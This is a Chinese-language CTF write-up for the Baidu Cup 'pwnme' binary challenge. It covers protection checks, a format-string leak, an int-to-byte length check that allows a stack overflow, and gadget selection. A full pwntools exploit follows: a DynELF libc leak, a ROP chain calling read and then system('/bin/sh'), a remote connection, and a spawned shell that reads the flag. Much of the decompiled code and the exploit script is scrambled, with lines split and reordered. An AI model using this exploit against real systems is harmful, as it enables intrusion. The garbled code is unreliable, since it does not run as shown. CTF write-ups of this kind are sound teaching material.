这算是接触pwntools的第一题吧
需要很多二进制知识储备,解释得比较适合新手看,大佬绕行
过程跌跌撞撞,写来纪念一下
稍作分析
首先拿到题目,丢IDA,发现是 64位 elf文件
随意找一下,分析出主程序和主循环
大致过程就是先打印欢迎界面
-> 先注册 -> 然后主循环,三个选项,分别是打印信息、修改信息、退出
很容易发现打印信息函数存在明显的格式化字符串漏洞
直接打印存入的信息,是一个很明显的格式化字符漏洞
我们可以构造一个比如
%11$x
%11$n
的payload去泄露内存,以及修改内存 格式化漏洞详情 CTF
Wiki-格式化字符串漏洞
然后我们用checksec
来看一下程序开了那些保护(github上有此脚本)
$ checksec --file pwnme
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 5 pwnme
保护机制
Canary(栈保护)
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。
NX/DEP(堆栈不可执行)
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
PIE/ASLR(地址随机化)
程序和库加载在内存中地址随机化 #### Fortify 与栈保护都是gcc的新的为了增强保护的一种机制,防止缓冲区溢出攻击。
RelRO
设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。
开始利用
以下内容需要先了解ROP
详情点此处
可以看出
Full RELRO
,并不能修改got表劫持控制流,NX enable
也不能执行栈内数据,而且Canary
并没用开启。所以有两种思路:一种是利用格式化漏洞泄露system
的地址,然后修改栈数据劫持控制流,调用system
;另一种是格式化漏洞泄露system
地址,然后寻找一个栈溢出漏洞覆盖返回地址劫持控制流
参考了各位大佬的思路得知,溢出点在修改信息的修改密码时:
<rax>(__int64 s@<rdi>, __int64 dest@<rdx>, __int64 sa, __int64 a4, __int64 desta, __int64 a6, __int64 a7)
__int64 __usercall modify@{
int v8; // [sp+18h] [bp-18h]@3
char v9; // [sp+1Fh] [bp-11h]@1
void *buf; // [sp+20h] [bp-10h]@1
void *src; // [sp+28h] [bp-8h]@1
//申请两个300的堆空间
= malloc(300uLL);
src = malloc(300uLL);
buf ("please input new username(max lenth:20): ");
puts(stdout);
fflush= read(0, buf, 300uLL);//从输入读300个字节到buf
v9 if ( v9 <= 0 || v9 > 20 )//判断长度,超过20则退出
{
("len error(max lenth:20)!try again..");
puts(stdout);
fflush*(_QWORD *)s = sa;//应该是个结构体,退出时修改会原来的值
*(_QWORD *)(s + 8) = a4;
*(_QWORD *)(s + 16) = desta;
*(_QWORD *)(s + 24) = a6;
*(_QWORD *)(s + 32) = a7;
}
else
{
(&sa, 0, 20uLL);//名字部分,20字节置0
memset((char *)&sa, (const char *)buf);//字符串拷贝过去,遇0终止
strcpy
("please input new password(max lenth:20): ");
puts(stdout);
fflush= read(0, src, 300uLL);
v8 if ( (_BYTE)v8 && (unsigned __int8)v8 <= 20u )//问题出在这,输入的长度被类型转换了,由int转成btye,当输入的长度为0x(n*100)至0x(n*100)+0x20都能绕过(n>=1),形成栈溢出
{
((char *)&desta + 4, 0, 20uLL);
memset(src, v8);
sub_400A90((char *)&desta + 4, src, v8);//用memcpy拷贝,不会遇到0停止
memcpy(stdout);
fflush*(_QWORD *)s = sa;
*(_QWORD *)(s + 8) = a4;
*(_QWORD *)(s + 16) = desta;
*(_QWORD *)(s + 24) = a6;
*(_QWORD *)(s + 32) = a7;
}
else
{
("len error(max lenth:20)!try again..");
puts(stdout);
fflush*(_QWORD *)s = sa;
*(_QWORD *)(s + 8) = a4;
*(_QWORD *)(s + 16) = desta;
*(_QWORD *)(s + 24) = a6;
*(_QWORD *)(s + 32) = a7;
}
}
return s;
}
如上代码分析,我们已经找到一个泄露点和一个溢出点,接下来就需要找到gadget
,意思是找到相应的代码,然后跳到此处利用。
找gadget
需要一些技巧以及经验(这也是我缺少的。。。)
首先我们得了解linux x64是怎么传参的
它不同于x86的栈传参,它是优先6个寄存器传参,依次是RDI
,RSI
,RDX
,RCX
,R8
,R9
,然后多余的参数才传进栈内
我的思路是先leak到system
的位置,再寻找适当的gadget
将栈上参数pop进寄存器然后再调用read
函数将/bin/sh
写到.bss
段,然后再劫持控制流到pop rdi;ret
来起shell
找gadget
的工具有很多,简单的objdump
和IDA
查找也是可以的,也可以用一些工具
工具链接如下:
ROPEME - https://github.com/packz/ropeme
Ropper - https://github.com/sashs/Ropper
ROPgadget - https://github.com/JonathanSalwan/ROPgadget/tree/master
rp++ - https://github.com/0vercl0k/rp
来寻找适合的gadget
我找到的是第一个0x400ECB - pop_4_ret gadget
和第二个0x400EB0 - mov_call gadget
以及最后一个0x400ed3 - pop_rdi_ret gadget
.text:00400EB0 mov rdx, r13 ;第二个gadget
.text:00400EB3 mov rsi, r14
.text:00400EB6 mov edi, r15d
.text:00400EB9 call qword ptr [r12+rbx*8]
.text:00400EBD add rbx, 1
.text:00400EC1 cmp rbx, rbp
.text:00400EC4 jnz short loc_400EB0
.text:00400EC6 add rsp, 8
.text:00400ECA pop rbx
.text:00400ECB pop rbp ;第一个gadget
.text:00400ECC pop r12
.text:00400ECE pop r13
.text:00400ED0 pop r14
.text:00400ED2 pop r15
.text:00400ED4 retn
;pop_ret gadget
0x00400ed3 : pop rdi ; ret
第一和第二个链各个配对的gadget
是IDA找到的,pop_ret
是ROPgadget脚本找到的
回顾一下思路
先leak到
system
的位置寻找适当的
gadget
将栈上参数pop进寄存器然后再调用read
函数将/bin/sh
写到.bss
段然后再劫持控制流到
pop rdi;ret
来起shell
.bss
具有可写可读的性质故将/bin/sh
写在这段上
段地址可以通过readelf
确定
$ readelf -S pwnme
There are 27 section headers, starting at offset 0x2128:
Section Headers:
[Nr] Name Type Address Offset Size EntSize Flags Link Info Align
....
[24] .bss NOBITS 0000000000602010 00002010 0000000000000020 0000000000000000 WA 0 0 16
得到.bss
地址是0x602010
然后我们回到第一步,泄露system
的地址。
我利用的是pwntool
里面带的DynElf
来寻找system
在内存中的地址,其实就是利用格式化字符串漏洞泄露内存,然后它执行一个遍历找到目标地址
以下内容需要了解 Pwntool DynElf(很多资料,多谷歌吧) 利用代码如下:
#coding:utf-8
from pwn import *
#pro = process('./pwnme')
= remote('106.75.66.195', 13002)#连接端口
pro
def respone(recv_buf,send_buf,new_line=True):#学大佬的一个姿势,看起来还不错。作用就是等接收到特定字符再发送想要发送到payload
pro.recvuntil(recv_buf)if new_line:
pro.sendline(send_buf)else:
pro.send(send_buf)def loop(address):#就是给DynElf用的一个函数,用来输入一个地址,得到一个内存地址内容返回,以遍历出目标地址
'>','2')
respone('please input new username(max lenth:20): \n','%11$sflag')#payload是11是因为我们写入的参数就在第十一个参数的地方,看不懂的话请回到格式化漏洞。当然你也可以直接写到下面的password写成%12$s
respone('please input new password(max lenth:20): \n','ABCD'+p64(address))#填充了四个字节之后才是栈内第十一个参数
respone('>','1')
respone(= pro.recvuntil('flag')[:-4]
data if data == "":
= "\x00"
data #print data,"add=>",p64(address)
return data
#一开始注册的两句话,随便填
'Input your username(max lenth:40): \n','123')
respone('Input your password(max lenth:40): \n','123')
respone(
#调用DynElf遍历
= DynELF(loop, elf=ELF('./pwnme'))
d = d.lookup('system', 'libc')
system_addr print hex(system_addr)
接下来就是了解栈结构然后用栈溢出劫持控制流了
我用的是IDA远程调试虚拟机找到栈结构确定是输入password
40字节后是返回地址,你也可以利用pattent.py
这个脚本配合gdb
调试来寻找
gdb
具体步骤如下: 首先生成一个溢出的payload
0x100-0x120均可(前面代码有分析为什么是这个长度),在此我选择生成0x110即272长度的payload
$ python pattern.py create 272
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj
然后gdb ./pwnme
调试程序
Starting program: /home/testzero/Desktop/ctf/baidu_11_pwn_pwnme/pwnme
**********************************************
* *
* Have fun!Pwn me *
* *
**********************************************
Register Account first!
Input your username(max lenth:40):
123
Input your password(max lenth:40):
123
Register Success!!
1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit System:
>2
please input new username(max lenth:20):
123
please input new password(max lenth:20):
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400ad0 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[──────────────────────────────────REGISTERS───────────────────────────────────]
*RAX 0x7fffffffde50 ◂— 0x6141316141306141 ('Aa0Aa1Aa')
RBX 0x0
*RCX 0x6038e0 ◂— 0x0
*RDX 0x10
*RDI 0x7fffffffde50 ◂— 0x6141316141306141 ('Aa0Aa1Aa')
*RSI 0x6038f0 ◂— 0x6141316141306141 ('Aa0Aa1Aa')
*R8 0x1
*R9 0x7fffffffde40 ◂— 0x111004010a8
*R10 0x603af0 ◂— 0x0
*R11 0x7fffffffdf41 ◂— 0x3269413169413069 ('i0Ai1Ai2')
*R12 0x400770 ◂— xor ebp, ebp
*R13 0x7fffffffe080 ◂— 0x1
R14 0x0
R15 0x0
*RBP 0x4132624131624130 ('0Ab1Ab2A')
*RSP 0x7fffffffde78 ◂— 0x3562413462413362 ('b3Ab4Ab5')
*RIP 0x400ad0 ◂— ret
[────────────────────────────────────DISASM────────────────────────────────────]
► 0x400ad0 ret <0x3562413462413362>
可以看到在内存地址0x3562413462413362
发生了段错误,然后我们用pattent.py
寻找位移得知位移为40 Bytes
(我的gdb装了pwnbdg插件所以会跟一般的gdb显示不同,pwndbg在github上有)
$ python pattern.py offset 0x3562413462413362
hex pattern decoded as: b3Ab4Ab5
40
然后我们就可以在填充了40个字节的数据之后填上我们的劫持地址了
#exploit
#修改名字随便
'>','2')
respone('please input new username(max lenth:20): \n','123')
respone(#找到一个pop几个参数进rsi,rdi,rdx供read使用
#rbx和rbp是为了call之后代码继续执行会进行一个add rbx, 1;cmp rbx, rbp ;jnz back;
#所以我们将0 pop 给rbx 将 1 pop 给 rbp 给它继续执行下去
#0x400eca : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
#0x400eb0 : mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call [r12+rbx*8]
= 0x400eca
pop_6_ret = 0x400eb0
call_address = 0x400ed3
pop_rdi_ret = 0x601FC8#read之前已经调用,直接读取got就好了
read_got #.bss
= 0x602010
bin_sh_addr #first ret address is 40 bytes
= 'A'*40
payload #pop 进寄存器
+= p64(pop_6_ret)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(bin_sh_addr)+p64(0)#作用就是劫持控制流到pop_6_ret处执行,然后分别pop 0->rbx ; pop 1->rbp ;pop read_got ->r13;pop 8 ->r14 ;pop 1->r15 ;对应下一个gadget的mov给read三个传参
payload # call read
#7个0x1对应call之后的7个pop,无关紧要,我们只想要ret,实在不理解可以看IDA
+= p64(call_address)+p64(0x1)*7
payload #最后起shell
+= p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
payload #在payload后面填充字符'0'至长度为0x110
= payload.ljust(0x110,'0')
payload #发送padload
'please input new password(max lenth:20): \n',payload)
respone('/bin/sh\x00')#将字符串'/bin/sh\x00'读入缓冲区
pro.send(#开启交互 pro.interactive()
至此就可以得到shell了 运行脚本
$ python test.py
[+] Opening connection to 106.75.66.195 on port 13002: Done
[*] '/home/testzero/Desktop/ctf/baidu_11_pwn_pwnme/pwnme'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Loading from '/home/testzero/Desktop/ctf/baidu_11_pwn_pwnme/pwnme': 0x7f3cefbef150
[+] Resolving 'system' in 'libc.so': 0x7f3cefbef150
[!] No ELF provided. Leaking is much faster if you have a copy of the ELF being leaked.
[*] No linkmap found
[*] .gnu.hash/.hash, .strtab and .symtab offsets
[*] Found DT_GNU_HASH at 0x7f3cef9c4be0
[*] Found DT_STRTAB at 0x7f3cef9c4bf0
[*] Found DT_SYMTAB at 0x7f3cef9c4c00
[*] .gnu.hash parms
[*] hash chain index
[*] hash chain
0x7f3cef64b020
[*] Switching to interactive mode
$ id
uid=1009(pwnme) gid=1009(pwnme) groups=1009(pwnme)
$ cat /home/pwnme/flag.txt
flag{ecfdbab646c8539f75078b76216942ef}
总结
- 耗时很久,需要掌握的东西略多
- linux 32和64位差异不了解
- 二进制工具不熟悉,linux调试短板
- 劳累、耗时程度与成就感成正比
参考文献
百度杯十一月场pwn专题赛—pwnme writeup - Moto
百度杯CTF·十二月PWN专题WriteUp解析 - 一口盐汽水